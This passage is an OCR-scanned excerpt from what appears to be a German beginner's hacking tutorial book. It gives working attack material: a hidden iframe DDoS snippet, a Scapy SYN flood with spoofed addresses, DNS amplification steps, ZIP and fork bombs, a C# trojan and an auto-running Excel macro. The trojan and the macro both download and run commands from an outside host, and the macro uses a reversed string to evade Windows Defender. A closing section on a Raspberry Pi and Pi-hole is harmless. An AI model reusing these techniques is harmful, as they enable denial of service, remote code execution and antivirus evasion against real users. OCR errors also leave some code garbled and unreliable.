soll. Ein Buffer wird überfüllt, läuft über und überschreibt da- 
mit andere Speicherbereiche. Bisher hatte ich mich noch nie 
damit beschäftigen müssen. Um irgendwie ins Thema zu kom- 
men versuche ich es auf YouTube und wurde fündig: "buffer 
overflow computerphile". 


Das Video ist als Einstieg deutlich besser geeignet als der Wiki- 
pedia-Artikel. Zur Erinnerung: Wie immer laden wir das Video 
in unser Archiv herunter. Das Video von "Computerphile" ent- 
spricht der Erklärung von Buffer Overflows auf Exploit-DB.com. 
Zu finden mit dem Suchbegriff "stack based buffer overflow fi- 
letype:pdf'. Das werden wir natürlich auch downloaden. Im 
Prinzip ist es das exakt gleiche Vorgehen aus dem Video. 


Programmiersprachen wie C/C++ haben Standardfunktionen, 
die Daten schreiben, aber keine Speichergrenzen prüfen z.B. 
strcepy(), memcpyÜ, gets). Wenn wir mehr Daten eingeben, als 
der Speicher dafür vorgesehen hatte, überschreiben wir andere 
Bereiche im Stack. Zum Thema Stack gibt es auch ein gutes 
Einführungsvideo: "What is a Stack Data Structure - An Intro- 
duction to Stacks". 


Wer sich bekannte Exploits anschauen möchte wird bei Exploit- 
DB mit der Suche nach "buffer overflow" fündig. Da es sowohl 
ein Video dazu gibt und eine Anleitung auf Exploit-DB werde 
ich das Thema Buffer Overflow erstmal überspringen. Wer sich 
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vorher mit Reverse Engineering beschäftigt, hat es später bei 
Buffer Overflows einfacher. 


Denial of Service 

Webseiten oder Dienste können durch viele Methoden angegrif- 
fen und abgeschossen werden. DoS (= Denial of Service) be- 
deutet, dass ein Dienst überlastet oder unerreichbar wird. Das 
kann durch einen Fehler in der Software passieren oder durch 
das Überlasten mit Anfragen oder Aufgaben. 


DDoS steht für "Distributed Denial of Service". Das bedeutet, 
dass viele verteilte Systeme ein Ziel versuchen zu überlasten. 
Die verteilten Angriffe können über Botnetze organisiert wer- 
den. Das können z.B. viele der unsicheren Server und "Internet 
of Things" Geräte sein. Unsichere Geräte, die wir bei "Internet 
scannen" gesehen haben. 


Bekannt ist auch die "Low Orbit ION Cannon". Diese virtuelle 
Kanone kann viele TCB UDP oder HTTP Anfragen an einen 
Webserver schicken, um diesen zu überfluten. Die Sender-IP- 
Adresse wird dabei nicht verschleiert. Es gibt auch eine Web 
Version davon. Bei dieser Version kann das Ziel konfiguriert 
werden. Solch ein Überlastungsangriff ist auch in einem sim- 
plen Javascript-Schnipsel möglich und die Webbesucher mer- 
ken nicht mal, dass sie sich gerade an einem DDoS Angriff be- 
teiligen. 
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Externe Internetseiten können wunderbar als iFrame geladen 


werden. Das lässt sich in eine Endlosschleife setzen. Wenn das 


iFrame selbst versteckt wurde, sehen die Nutzer nichts davon, 


überlasten aber so womöglich andere Webseiten. 


<iframe src="https://xxx.de" sandbox onload="this.src=this.s- 


rc.split('/?x=')[0] + '/?x=' + Math.random() "></iframe> 


Ein iFrame bindet eine externe Webseite ein: 


ee 


ee 
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ee 


ee 


ee 
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* "src" gibt URL des Ziels an. 
x "sandbox" sorgt dafür, dass verschiedene Inhalte nicht aus- 


geführt werden z.B. Javascript. Es geht uns auch nur um 
den Request an sich, außerdem spart es uns unnötige Re- 
chenzeit. 


* "onload" führt das Javascript dahinter aus, sobald der In- 


halt geladen wurde. Das gleiche Javascript kann zusätzlich 
als "onerror" Attribut hinzugefügt werden, damit es nicht 
abbricht. 


* "this.src = this.src" lädt die Webseite nochmal. Endlos- 


schleife. 


* "split" nimmt die URL und teilt sie bei /?x=. Der Hinter- 


grund dazu: Der Browser speichert Webseiten im Cache. Es 
sei denn es wird ein Parameter mitgegeben, der sich auch 
noch dazu ständig ändert. 


x "[0]" von der geteilten URL wird nur der erste Teil benutzt. 
* "Math.random()" gibt eine Zufallszahl zwischen O und 1 


zurück. 
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Browser können üblicherweise 8 gleichzeitige Verbindungen 
öffnen. Das heißt, wir könnten das iFrame auch öfters einbin- 
den, ohne das es besonders auffallen würde. 


SYN Flooder in Python 

Bei diesem Angriff wird der Verbindungsaufbau des TCP Proto- 
kolls benutzt, um einen Dienst zu überlasten. Normalerweise 
wird der Drei-Wege-Handshake mit einem SYN Paket gestartet, 
SYN/ACK bestätigt den Empfang und ACK bestätigt, dass die 
Verbindung hergestellt wurde. Wikipedia hat dazu ein Schau- 
bild. 


Wer eine Internetsuche nach "syn flood" befragt, wird auf ein 
Metasploit Modul stoßen. Da wir aber etwas lernen wollen, 
bauen wir es mit Python nach. Mit der Idee sind wir auch nicht 
die ersten. Eine Suche nach "syn flood python" findet ein Script 
auf Github, das die Pakete bereits zusammen baut. Wir nutzen 
dazu eine Python Bibliothek namens Scapy. 


Eine Variante funktioniert mit halb-offenen Anfragen, also viele 
SYN-Pakete zu schicken, die aber nicht bestätigt werden. Die 
zweite Variante ist effektiver. Es werden viele SYN Pakete an 
viele verschiedene Server geschickt und dabei die Quelladresse 
gefälscht, sodass die ganzen Antwortpakete SYN/ACK beim Op- 
fer ankommen. Klassisches IP-Spoofing. Was wir dazu brauchen 
ist allerdings eine Serverliste mit aktiven IP-Adressen. 
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Doch IP-Spoofing ist auch erkennbar, falls Absender-Adressen 
gebaut werden, die nicht zum Netzwerk gehören. Da ich nicht 
weiß, ob solche Ingress-Filter aktiv sind, werde ich nicht nur 
zufällige IP-Adressen generieren, sondern solche, die im glei- 
chen Netz des Providers sind. Das erfordert allerdings ein we- 
nig Vorbereitung und die Beantwortung der Frage: Aus wel- 
chem Netz wird der Angriff gestartet? 


Lange Erklärung kurze Lösungsmöglichkeit: Mein Script soll 
sich zuerst über einen Dienst seine eigene IP-Adresse holen und 
dann in dieser Range spoofen. So langsam kommt der Hacker- 
Slang durch. ;) Ich fange mit dem Script an. Kali Linux hat Sca- 
py und Python3 bereits installiert. 


Was muss ich tun: 
* Eigene externe IP-Adresse herausfinden. 
* Aktive Computer im Hostbereich scannen. 
* Liste mit aktiven IP-Adressen erstellen. 
* Bekannte TCP-Ports scannen. 
* SYN-Pakete mit diesen IP-Adressen und Ports verschicken. 


Das ist der grobe Bauplan. Zuerst werde ich die eigene IP- 
Adresse herausfinden. Das geht mit einem externen Dienst. 


Die eigene IP mit einem Dienst finden: 
from requests import get 

ip = get( 'https://api.ipify.org').text 
print( 'IP: '+ ip) 
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Wir sollten uns eine Liste mit aktiven IPs schreiben, damit diese 
ihre Pakete an unser gewähltes Ziel schicken können. Als Ports 
nehme ich 80 und 443. Wir können den Scanner-Teil des 
Python Portscanners übernehmen. Danach werden die aktiven 
IPs in eine Liste geschrieben, aus der im nächsten Schritt die 
gefälschten Datenpakete erstellt werden: 


packet = IP(src=spoofIP,dst=destIP,tt1l=99)/ 
TCP(sport=80 ,‚dport=port, seq=12345,ack=1000 ,window=1000, £flags=" 
s") 


spoofIP ist die IP des Ziels. Als destIP kommt die aktive IP aus 
der Liste. Soweit zur Theorie. Da ich keine Probleme verursa- 
chen will, kann ich es nicht unter realen Bedingungen testen. 
Deshalb begnüge ich mich mit meinem Beispielcode: https:// 


github.com/Leetcore/wie-werde-ich-hacker/blob/master/ 
scripts/syn_ddos_flood.py 


Mein Internetprovider sollte übrigens dafür sorgen, dass ge- 
fälschte Absenderadressen aus einer anderen Range nicht wei- 
tergeleitet werden. Aber die Erde ist groß und es gibt auch an- 
dere Internetprovider... 


DNS Amplification Attack 

Die bösesten DDoS Attacken funktionieren über DNS Abfragen. 
Diese werden nämlich per UDP gesendet, was bedeutet, dass es 
kein Handshake gibt, sondern die Daten einfach nur generiert 
und rausgehauen werden. Dazu kommt, dass eine DNS Abfrage 
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klein ist und die Antwort darauf deutlich größer. Das multipli- 
ziert die Daten, die vom Zielsystem verarbeitet werden müssen. 


Bei einer DNS Amplification Attack wird die Quell-IP-Adresse 
mit der des Zielrechners ausgetauscht. Das heißt, die Antwort 
dieser DNS Abfrage landet beim Opfer. Wieder das klassische IP 
Spoofing! 


Um es mit den Worten auf dem Cloudflare Blog zu sagen: 

The basic technique of a DNS reflection attack is to send a request 
for a large DNS zone file with the source IP address spoofed to be 

the intended victim to a large number of open DNS resolvers. The 
resolvers then respond to the request, sending the large DNS zone 
answer to the intended victim. The attackers' requests themselves 

are only a fraction of the size of the responses, meaning the atta- 

cker can effectively amplify their attack to many times the size of 


the bandwidth resources they themselves control. 


Wir schreiben uns ein kleines Rezept: 
* Liste von offenen DNS Resolvern. 
* Abfrage einer großen DNS Zone = die DNS Antwort sollte 
groß sein. 
* DNS Abfrage mit gefälschter Source-IP verschicken. 


Wir könnten uns wieder einen Scanner bauen, um DNS Resol- 
ver (Port 53) zu finden. Mir reicht es womöglich, wenn ich mir 
eine Hand voll davon heraussuche. Schließlich möchte ich nicht 
die größte Attacke des Jahres starten, sondern nur diese Me- 
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thode testen. Wer es ernsthaft machen will, wird sich sowieso 
bei der Shodan-Suchmaschine Server mit offenem Port 53 und 
"recursion: enabled" heraus suchen. 


Erstmal die Internetsuche bemühen und dann in die Scapy-Do- 
kumentation schauen. Glücklicherweise gibt es ein DNS-Bei- 
spiel auf Stackoverflow. Danach die Scapy Dokumentation vir- 
tuell aufschlagen und nachschauen, was dazu drin steht. Es 
stellt sich heraus, dass in der Scapy Dokumentation das gleiche 
Beispiel beschrieben wird. 


packet = IP(dst="1.1.1.1")/UDP()/DNS(rd=1,qd=DNSOR (qname="ww- 


w.ripe.net")) 
srl(packet) 


Diesen Request senden wir und wir bekommen die Antwort zu- 
rück. Das ist eine DNS-Abfrage an den Open Resolver von 
Cloudflare (IP 1.1.1.1) und wir wollen die DNS-Infos von ww- 
w.ripe.net. Um den DNS-Request zu "spoofen", ändern wir die 
Source-IP Dazu muss der IP-Teil angepasst werden und wir hö- 
ren nicht mehr auf die Antwort, weil sie uns sowieso nicht er- 
reichen wird. 


IP(srce=srcIP,dst=destIP) 


"srl(packet)" sendet das Paket und wartet auf genau eine Ant- 
wort. Da wir die Antwort nie bekommen, können wir stattdes- 
sen "send(packet)" nutzen. Wenn wir uns jetzt noch eine Liste 
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mit DNS Resolvern erstellen und ein paar Pakete mit gefälsch- 
ten Sender verschicken, sollte es passen. 


Mit dem Beispiel aus dem vorherigen Kapitel sollte der Aufbau 
klar sein. Ich erinnere nochmal daran, dass dies nicht an frem- 
den Systemen ausprobiert werden darf. 


Schadcode 


Jeglicher Code, der Schaden anrichten will, fällt in diese Kate- 
gorie. Das können Viren, Trojaner, Keylogger oder Cryptominer 
sein. In den meisten Fällen wollen diese Betrüger an Geld 
kommen. Deshalb könnten sie versuchen dich mit sensiblen Da- 
ten zu erpressen, deine Accounts übernehmen, Online-Banking 
ausspähen, alle Daten verschlüsseln oder versuchen auf irgend- 
eine Art an Geld von dir oder deinem Umfeld zu kommen. 


Im Bereich Fake-Windows-Support ist eine ganze Industrie ent- 
standen, die dich anrufen und dir erzählen, dass dein Computer 
nicht richtig funktioniert. Am Ende installieren sie dir einen 
Trojaner oder vergeben ein Passwort, sodass du nur noch an 
deinen Rechner kommst, wenn du gezahlt hast. 


In diesem Kapitel habe ich eine kleine ZIP Bombe im Angebot. 
Außerdem programmiere ich einen einfachen Trojaner und er- 
stelle ein einfaches Excel Macro, das Befehle aus dem Internet 
ausführt. Als kleiner Bonus werde ich auch noch den Windows 
Defender umgehen, damit der Trojaner nicht erkannt wird. 
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ZIP Bombe 

ZIP Bomben sind die Furzkissen unter den Spielereien. Wenn 
wir Text zu einer ZIP-Datei komprimieren, wird die Datei sehr 
klein. Der Trick dabei ist es, nur wenige Zeichen zu verwenden, 
die sich ständig wiederholen. Beim Entpacken baut es sich auf 
die ursprüngliche Größe wieder auf. 


Es gibt die berühmte 42.zip mit 42 KB, die sich auf 4 Petabyte 
entpackt. Das sind mehr Daten als eine handelsübliche Festplat- 
te speichern kann. So ein Zip lässt sich auch selbst erstellen, es 
dauert allerdings auch lange. 


Drei Sekunden mit einer Suchmaschine bringt mir diese magi- 
sche Zeile. Bevor wir das allerdings in unser Terminal kopieren, 
sollten wir es uns genauer anschauen. 


>>> dd if=/dev/zero bs=1G count=1024 | zip -9 > monster.zip 


* dd if = Liest die virtuelle Datei /dev/zero. 

* /dev/zero enthält nur Null-Bytes. 

* bs = Lese und Schreibmenge. Hier 1 Gigabyte. 

* count = Die Anzahl der Blöcke, die kopiert werden. Das 
sind 1GB * 1024, wenn ich das richtig verstehe. 

* | ist die hübsche Pipe, sie leitet die Nulldaten an Gzip wei- 
ter. 

* Zip erstellt das Zip. 
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Das Ergebnis ist das Zip in der gewünschten Größe. 


Es gibt auch etwas wie eine Fork-Bombe für Linux. Eine Art 
Endlosschleife. Falls ihr einen Linux Rechner abschießen wollt, 
dann ist das der richtige Weg. 


s()t :|2& }r: 


* :0) ist der Name der Funktion. Die Funktion heißt hier 
wirklich "Doppelpunkt". 

* : | : Die Funktion ruft sich selbst wieder auf, die sich dann 
selbst wieder aufruft, die sich dann selbst wieder aufruft. 

* & Das Und-Zeichen sorgt dafür, dass der Prozess im Hin- 
tergrund läuft. Dadurch kann wird der gestartete Prozess 
nicht beendet. 

* » Das Semikolon beendet die Funktionsdefinition. 

* : Das ist der Name der Funktion, der die Funktion auch 
nach der Definition direkt startet. 


Trojaner 

Ein trojanisches Pferd ist eine Software, die neben ihrer Haupt- 
funktion, noch weitere nicht gewünschte Funktionen eingebaut 
hat, oft um die Kontrolle über den Computer zu übernehmen. 
Im Prinzip kann jeder/jede Programmierer/-in einen Trojaner 
programmieren. 
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Früher gab es kleinere Tools, durch die der Nutzer die Kontrolle 
über den PC bekommen konnte. Das wird im nächsten Kapitel 
genauer erklärt. Auf was ich hinaus will: Dort gab es immer 
eine "Fun" Kategorie, die nur lustige Befehle beinhaltet. Das 
will ich machen. Ich will das CD-Laufwerk öffnen lassen. 


Als Zielbetriebssystem nehme ich natürlich Windows. Auf wel- 
chem System ist es sonst üblich alle mögliche Software, Spiele 
und Tools von irgendwelchen Webseiten herunterzuladen und 
auszuführen? 


* Visual Studio Community herunterladen (kostenlos). 
* Module laden, um eine C# Anwendung zu erstellen. 
* Windows 10 Entwicklermodus aktivieren. 

* "Delfin" Bild herunterladen. 

* Anwendung bauen mit minimaler Funktion. 

* Lädt sich weitere Befehle aus dem Internet. 

* CD-Laufwerk automatisch öffnen. 


Ihr denkt euch womöglich, dass Delfin-Bild ein spezielles Tool 
oder sonst etwas ist. Nein, damit meine ich nur, dass ich aus 
dem Internet ein Foto von einem Delfin herunterlade, damit ich 
später den Witz mit Dateinamen "Das _ist ein Delfin Bild_un- 
d_ sicher kein trojaner.exe" bringen kann. ;) 


Nachdem Start von Visual Studio fragt er nach meinem Projekt. 
Ich wähle leere "WPF App" aus und nenne das ganze Ding 
"App". Großartiger Name. Rechts ist meine Projektmappe. Der 
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Startpunkt wäre "MainWindow.xaml". Ein Doppelklick darauf 
bringt eine weiße Fläche zum Vorschein. Rechts klappe ich die 
"Toolbox" auf, worin sich Standardelemente befinden. Ziehe ein 
"Image" in die Fläche. Unten rechts bei "Allgemein" kann ich die 
Quelle des Fotos auswählen. Ich suche mir ein Foto aus dem 
Internet und lade es herunter. Danach kann ich das Foto bei 
meinem Image Element unten rechts als "Source" auswählen. 


Unser Trojaner wird sich CMD Befehle von meiner Webseite 
herunterladen und ausführen. Damit kann der Trojaner aus der 
Ferne gesteuert werden. Ein echter Angreifer wird dafür sor- 
gen, dass regelmäßig neue Befehle abgerufen werden und nach 
einem Neustart wieder läuft. Die einfache Variante wäre eine 
Shell-Anwendung zu entwickeln, die sich Befehle abholt und 
ausführt. Die kopierst du in den Autostart-Ordner, den es bei 
Windows 10 immer noch gibt. Das geht auch ohne Administra- 
torrechte. 


Ich lege auf meinen Webserver eine HTML Datei in der nur 
"calc.exe" steht. Das öffnet den Taschenrechner. Das reicht als 
erste Demo. 


In meinem Projekt-Explorer klicke ich den Haken vor der 
"MainWindow.xaml" an und sehe dadurch die C# Datei. Nach 
dem Funktionsaufruf "InitializeComponent();" starten wir den 
Download des Befehls. 
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using (WebClient client = new WebClient()) 
{ 
string htmlCode = client.DownloadString( "https: //www.1337co- 
re.de/cmd.html"); 
System.Diagnostics.Process.Start("cmd.exe", "/c start /min 
+ htmlCode.Replace( '\n', '&'); 
} 


Der WebClient kann HTTP-Requests verschicken. Download- 
String lädt von meiner Webseite die cmd.html Seite herunter. 
Darin befindet sich der Befehl "calc.exe". Dahinter steht ein Re- 
place, wegen den Zeilenumbrüchen. Eine Zeile pro Befehl. Mit 
CMD kann ich grundlegende Dinge tun, aber Powershell wäre 
besser, deshalb schreibe ich in meine "cemd.html": 


echo Mega Hacker Trojaner!1l!ll 

powershell.exe -Command "$Diskmaster = New-Object -ComObject 
IMAPI2.MsftDiscMaster2; $DiskRecorder = New-Object -ComObject 
IMAPI2.MsftDiscRecorder2; $DiskRecorder.InitializeDiscRecor- 
der($DiskMaster); $DiskRecorder.EjectMedia()" 


"Echo" ist nur eine Textausgabe. Danach wird Powershell ge- 
startet und der Befehl danach ausgeführt. Da alles in eine Zeile 
passen soll, werden Befehle mit Semikolon abgeschlossen. 


Diesen Code werden wir als ausführbare Datei bauen. In der 
Projektmappe reicht ein Rechtsklick auf die App aus. Dort be- 
findet sich der Menüpunkt "Veröffentlichen". Ich wähle einen 
Pfad für die Datei, die am Ende "App.exe" heißen wird. Diese 
Datei benenne ich um in "Ich bin ein Delfin und sicher _k- 
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ein trojaner.exe". Das App-Icon sollte noch geändert werden 
und der Name im Fenster. 


) MainWindow 


Nochmal zur Zusammenfassung: Wir haben ein Programm er- 
stellt, das einen Delfin anzeigt, aber im Hintergrund Befehle 
von einer Webseite abruft und diese in der Shell ausführt. So- 
bald ich das Programm starte, öffnet sich das CD-Laufwerk. 
Klick! Der Virenscanner beschwert sich nicht. 


Excel Makro 
Ein beliebtes Einfallstor sind Excel-Dateien mit Makros. Offen- 
sichtlich sind Mitarbeiter darauf getrimmt Makros zu aktivie- 
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ren, um den Inhalt einer Excel Tabelle zu sehen. Wie auch im- 
mer, wir bauen uns auch so einen Trojaner. 


Zuerst mache ich ein paar Felder schwarz und schreibe hinein, 
dass doch bitte der "Inhalt aktiviert" werden soll. Die Warnmel- 
dung heißt wirklich so bescheuert. Keine besonderer Hinweis in 
der Oberfläche, dass dieser große fette Button im Vergleich zu 
dem kleinen, schließenden "x" deutlich gefährlicher ist. Die 
Nutzer tun das was auf dem Bildschirm steht. Wenn dort nicht 
der erwartete Inhalt erscheint, werden sie auch auf "Inhalt akti- 
vieren" klicken um zu sehen was sie möchten. Für diese Demo 
ist das natürlich Quatsch. Wenn dort die monatlichen Umsatz- 
zahlen erscheinen sollten und die Buchhaltung die Zahlen 
überprüfen muss, ist der Klick sicher... 
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Bedingte Als Tabelle \Schlechi 


Formatierung ” formatieren | 


iger 
"Format übertragen 


Zwischenablage [1 Fe 


SICHERHEITSWARNUNG Makros wurden deaktiviert. 
i u £| 


A B c D E F tell H J K L M 


Ich hatte schon mal mit VBA zu tun, aber du musst das nicht 


wirklich programmieren können um ans Ziel zu kommen. Wir 
erstellen ein Makro. Das Verhalten soll genauso wie im vorheri- 
gen Kapitel sein. Unser Ziel ist wie bisher: Wir laden uns Code 
herunter und führen diesen aus. 


Ich spiele etwas mit den Makros herum und lande bei "Call 
Shell". Mit dieser Funktion kann ich Shell Befehle ausführen, 
also exakt wie oben. Leider meckert Excel. Es warnt vor einem 
möglicherweise schädlichen Makros und schließt das Doku- 
ment. Ich dachte einige Zeit, dass ich hier in einer Sackgasse 
bin und ich erst einen unbekannten Trick suchen muss, um das 
hinzubekommen. Nach einigen Tests ist aber klar, dass es an 
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"Call Shell" liegt. Ich befrage eine Suchmaschine, ob es andere 
Möglichkeiten gibt eine Shell zu öffnen. 


Wenn ich eine Shell aufrufen kann, will ich meinen bisher ent- 
wickelten Powershell Code ausführen lassen: 


powershell.exe -windowstyle hidden -Command powershell.exe 
-command (Invoke-WebRequest -Uri https://www.1337core.de/ 
powershell.html) .ParsedHtml.body.innerText 


Was passiert im Script? Ich starte Powershell versteckt und 
zweimal. Ist ein Workaround, weil es nicht direkt funktioniert 
hat. Keine Ahnung, ob das notwendig ist. Es geht! Jedenfalls 
macht Invoke-WebRequest einen GET Request auf meine Web- 
seite, wo sich das Script die Befehle aus dem Inhalt > Body > 
innerText der Webseite abholt und ausführt. 


Der Request ist schon so weit optimiert, dass ich direkt den In- 
halt der Webseite als String bekomme. Es soll in Excel gestartet 
werden, sobald es geöffnet wird und die Meldung bestätigt 
wurde. 


Private Sub Workbook_Open() 
CreateObject("WSCript.Shell").Run ("powershell.exe -window- 
style hidden -Command powershell.exe -Command (Invoke-WebRe- 
quest -Uri https://www.1337core.de/powershell.html).Parsed- 
Html.body.innerText") 

End Sub 


Da sich der Windows Defender zwischendurch gemeldet und 
mein Dokument wieder gelöscht hat, musste ich mir etwas aus- 
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denken. Ich vermute es liegt an "WSCript.Shell" und ich habe - 
so richtig dumm - den String einfach rückwärts geschrieben. 
Die Virensignaturen erkennen den gleichen Code mit "llehS.t- 
pirCSW" nicht. Jedenfalls wird mein Makro nicht mehr als Tro- 
janer erkannt. Kleiner Facepalm, weil Reverse String funktio- 
niert hat, aber so ist das mit den Virenscannern. 


Private Sub Workbook_Open() 

CreateObject (StrReverse("llehS.tpirCSw")).Run("poweRshell.exe 
-windowstyle hidden -Command pOwershell.exe -Command (Invoke- 
WebRequest -Uri https://www.1337core.de/powershell.html).Par- 
sedHtml.body.innerText") 

End Sub 


Derzeit ist dieser Code in Excel, Stand Januar 2020, nach ei- 
nem Klick auf "Inhalt aktivieren" ausführbar. Möglicherweise 
wacht jemand bei Microsoft auf und blockiert auch diesen Auf- 
ruf. Aber bis dahin führt dieses Makro Shellbefehle aus, die es 
direkt von einer Webseite lädt. Diese Aufgabe konnte ich also 
erfolgreich abschließen. 


Meine Vermutung war richtig und der Trick hat ungefähr bis 
Februar funktioniert. Virenscanner und Schadcode leben ein 
ständiges Katz-und-Maus-Spiel. 


Wer den Code in eine "startup.bat" Datei schreibt und in den 
Autostart-Ordner legt, führt den Code auf der Webseite bei je- 
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dem Neustart aus. Auf einem Windows PC ist der Pfad für den 


Autostart-Ordner übrigens: 
$APPDATA®\Microsoft\Windows\Start Menu\Programs\Startup 


Ich finde es spannend, dass es keine großartigen Fähigkeiten 
erfordert und immer noch funktioniert. Damit hätte ich ehrlich 
gesagt nicht gerechnet... 


RAT 

Es gibt so viele "Remote Admin Tools" von verschiedenen 
"Hacking Webseiten". Die Chance ist recht hoch sich dabei 
selbst einen Trojaner einzufangen. Diese Tools erlauben es den 
Rechner fernzusteuern. Dateien übertragen, den Bildschirm se- 
hen und alle Tastatureingaben mitschneiden. "Subseven" war 
eines dieser RATs. Früher waren diese Tools zum "Herumpro- 
bieren" sehr beliebt. Wenn eine Datei mit Trojaner erstellt wur- 
de, lässt sich die Anwendung noch tarnen, sodass sie nicht von 
Virenscannern erkannt wird. 


2011 veröffentlichte der CCC den deutschen Bundestrojaner. 
Zuerst wurde der Trojaner noch überhaupt nicht von Viren- 
scannern erkannt. Später an dem berühmte String "C3PO-r2d2- 
POE". Nachdem der Bericht veröffentlicht wurde, gingen lang- 
sam die Erkennungsraten des Staatstrojaner hoch. Da sich viele 
Virenscanner diesen String als Erkennungsmerkmal herausge- 
sucht haben, wurde der Trojaner weniger häufig erkannt, wenn 
dieser einfache String geändert wurde. Also öffnete ich den 
Trojaner in einem Editor. Suchte mit die Stelle heraus, änderte 
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den String zu "r3d3", einmal speichern und schon war die Er- 
kennungsrate statt 79% nur noch bei 32,6% auf "Virus 
Total" (Analyseplattform für Malware). 


VTCommunity Signin w Languages 7 


VI RU Ss Virustotal is a service that analyzes suspicious 
files and URLs and facilitates the quick detection 
TOTAL of viruses, worms, trojans, and all kinds of malware 

detected by antivirus engines. More information. 


0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodware. 0 VT Community VT Community 
user(s) with a total of 0 reputation credit(s) say(s) this sample is malware. 


File name: mfc42ul.dil [2] 
Submission date: 2011-10-11 14:43:42 (UTC) 

Current status finished nei 
Result 14143 (32.6%) er 


‚Antivirus Version Last Update Result 
AhnLab-v3 


AntiVir 


Antiy-AVL 


Irojan.BTroj-1 


Wer mit so einem Tool infiziert wurde, hat die Kontrolle über 
seinen Computer verloren und (solange es kein Rootkit ist) 
wird er/sie den Rechner neu installieren müssen. Aber auch 
alle Accounts, bei denen das Opfer entweder Passwörter ge- 
speichert hat oder bei denen sich eingeloggt wurde, sind in Ge- 
fahr und sollten überprüft werden. 


Kali Linux hat die "Backdoor Factory" dabei. Die Backdoor 
hängt sich an bestehende Anwendungen. Die modifizierte Vari- 
ante wird versuchen eine Verbindung zum Angreifer aufzubau- 
en, der dann das infizierte System fernsteuern kann. Diese 
"Backdoor Factory" hat auch verschiedene Methoden, um ihren 
Code zu verschleiern. 
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Hardware Projekte 

Ich hatte lange überlegt was ich als Hardware Projekt machen 
könnte. Hier liegen auch zwei Raspberry Pi herum. Auf einem 
ist "RetroPie" installiert. Dort laufen alte Nintendo und Super 
Nintendo Spiele drauf. Der andere ist noch leer. Ansonsten bin 
ich kein Hardware Bastler, mir fehlt da der Verwendungszweck 
und das macht dann am Ende keinen Spaß. Trotzdem habe ich 
noch ein Raspberry Pi Projekt zum Ausprobieren gefunden, 
aber dazu später mehr. Eine Internetsuche bringt einige Projek- 
te hervor, bei denen du dich inspirieren lassen kannst, aber am 
Ende ist die persönliche Motivation deutlich wichtiger. 


Stein-Schere-Papier 

Mir ist eingefallen, dass ich noch ein Calliope Board hier liegen 
habe. Das ist eine sternförmige Platine, die für Kinder zum Ler- 
nen gedacht ist. Dort gibt es ein kleines LED-Display und das 
Gerät hat einige Sensoren. Stein, Schere, Papier ist der Klassi- 
ker und spontan habe ich Lust bekommen, dass in einer Varian- 
te mit dem Kompass zu machen. 


Nach einigen Verständnisproblemen, fand ich die Dokumentati- 
on dazu. Der "Kompass" muss bei jedem Start kalibriert werden. 
Der Calliope muss einmal langsam im Kreis gedreht werden, 
damit der Kreis geschlossen ist. Die Startposition wird als "Nor- 
den" erkannt. 
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Ich stelle mir das Spiel so 
vor, dass der/die Spieler/-in 
mit der Ausrichtung Stein, 
Schere oder Papier wählt 
und gegen den Computer 
spielt. Das Ergebnis wird 
danach mitgeteilt. 


Was wir dafür brauchen: 
* Ausrichtung nach oben, 
links, rechts, unten. 
* LED Bilder für die Aus- 
wahl von Stein, Schere 


und Papier. 
* Die Gewinn-Logik. 
* Anzeige des Ergebnis. 


Nachdem die Ausrichtung durch ist, wird Stern, Schere oder 
Papier ausgewählt. Die Auswahl wird mit der des Computers 
verglichen. Das Ergebnis wird als Okay-Häkchen, X-Verloren 
und = Unentschieden angezeigt. 


* Auswahl der/die Spieler/-in. 

* Anzeige der Auswahl. 

* VS, 

* Anzeige der Auswahl des Computers. 

“> 

* Ergebnis: Gewonnen, verloren oder unentschieden. 
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* Entsprechender Ton wird abgespielt. 
* Neustart von vorne. 


Die Schwierigkeit bestand erstmal darin, dass der Kompass 
richtig funktioniert. Ich hatte ein Beispiel aus dem Internet, was 
nicht unbedingt meinem Wunsch entsprach. Aus irgendeinem 
Grund funktioniert auch das neigen nach links bei mir nicht. 
Das wird nicht als Westen erkannt. Entweder versteckt sich dort 
ein Bug, den ich erst finden muss oder der Chip will nicht so 
wie ich. 


Wie auch immer, hier ist der Code dafür: https://github.com/ 


Leetcore/wie-werde-ich-hacker/blob/master/scripts/calliope- 
mini.js 


Pi-Hole 

Als erstes Projekt mit dem "Raspberry Pi" habe ich mir einen 
Ad-Blocker vorgenommen. Bisher spielte ich auf dem Pi nur Re- 
tro Games z.B. Super Nintendo. Aber wir können auch etwas 
Nützliches damit machen. Pi-Hole hört sich nach irgendeiner 
sexuelle Praktik an, doch der Name soll bedeuten, dass dort 
Werbung in einem schwarzen Loch verschwindet. Der Raspber- 
ry Pi dient dabei als DNS-Server mit einer Blockliste, der be- 
stimmte Werbe-Server blockiert. Netzsperren für Werbung qua- 
si. 


Wie auch immer. Es gibt eine Anleitung, was im Prinzip eine 
Zeile für die Shell ist und alles automatisch installieren soll. Al- 
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lerdings brauche ich vorher ein System. Ich installiere also auf 
dem Raspberry Pi ein aktuelles Raspian. Das Image lässt sich 
von der Raspberry Pi Webseite herunterladen und auf die SD- 
Karte packen. 


Es gibt einfache Tools mit Benutzeroberfläche, die ein Image 
auf eine SD-Karte schreiben können. Ich wollte mir etwas mit 
höheren Nerdfaktor suchen. In meinem Fall bin ich im richtigen 
Verzeichnis mit dem Image und habe nachgeschaut welcher 
Devicename die SD-Karte im Kartenleser hat. Unter Mac finde 
ich den Devicenamen mit "diskutil list" heraus. Meine SD-Karte 
ist unter /dev/disk2 und ich befinde mich bereits im Ordner 
mit dem Image. 


Eine Internetsuche sagte mir, wie ich das Image mit "dd" auf die 


SD-Karte bekomme: 
sudo dd if=./2019-09-26-raspbian-buster.img of=/dev/disk2 
bs=1m 


Wer sich das Leben weniger schwer machen will, kann sich 
auch "balenaEtcher" herunterladen, wie es die Raspberry Pi An- 
leitung vorschlägt. Nach einiger Wartezeit ist das Image auf 
dem Gerät und kann gestartet werden. Ich schließe den Pi an 
Tastatur, Maus und Monitor an und Raspian fährt hoch. 


In der Anleitung steht sogar, dass die eine "Zeile ins Terminal 
kopieren"-Installation kontrovers diskutiert ist, weil Code aus- 
geführt wird, den wir nicht sehen. Grundsätzlich ist das richtig. 


Ich schaue mir aber auch nicht von jedem Open Source Projekt 
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den kompletten Code an. In meinem Fall akzeptiere ich das Ri- 
siko. 


Nach ein paar Startproblemen läuft der Pi Desktop endlich. Ich 
bin wieder über das Problem gestolpert, dass mein Netzstecker 
mit USB-Anschluss nicht genügend Power liefert. Das äußert 
sich dann darin, dass der Pi in einer Bootschleife hängen bleibt. 
Ein anderes Netzteil behebt das Problem bei mir. 


